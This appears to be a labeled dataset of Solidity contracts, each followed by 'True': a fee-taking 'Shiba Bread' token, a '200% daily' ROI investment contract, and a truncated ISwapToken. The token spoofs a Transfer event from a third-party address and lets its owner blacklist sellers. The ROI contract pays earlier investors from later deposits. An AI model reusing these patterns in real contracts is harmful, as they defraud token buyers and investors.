_tFeeTotal; string private constant _name = "Shiba Bread"; string private constant _symbol = unicode'SHIBABREAD🍞'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
True
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pragma solidity ^0.4.24; /** * TwelveHourROITwo - 200% daily */ contract TwelveHourROITwo { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public step = 200; uint256 public minimum = 10 finney; uint256 public stakingRequirement = 2 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Сonstructor Sets the original roles of the contract */ constructor() public { owner = msg.sender; ownerWallet = msg.sender; } /** * @dev Modifiers */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. * @param newOwnerWallet The address to transfer ownership to. */ function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } /** * @dev Investments */ function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); address _customerAddress = msg.sender; if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode investments[_referredBy] >= stakingRequirement ){ // wealth redistribution referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(10).div(100)); emit Invest(msg.sender, msg.value); } /** * @dev Evaluate current balance * @param _address Address of investor */ function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } /** * @dev Withdraw dividends from contract */ function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } /** * @dev Bounty reward */ function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } /** * @dev Gets balance of the sender address. * @return An uint256 representing the amount owned by the msg.sender. */ function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } /** * @dev Gets withdrawals of the specified address. * @param _investor The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } /** * @dev Gets investments of the specified address. * @param _investor The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } /** * @dev Gets referrer balance of the specified address. * @param _hunter The address of the referrer * @return An uint256 representing the referral earnings. */ function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
True
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pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // ISwapToken with Governance. contract ISwapToken is ERC20("iswap.money", "ISWAP"), Ownable { uint256 private _cap = 10000000 * 1e18; /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( 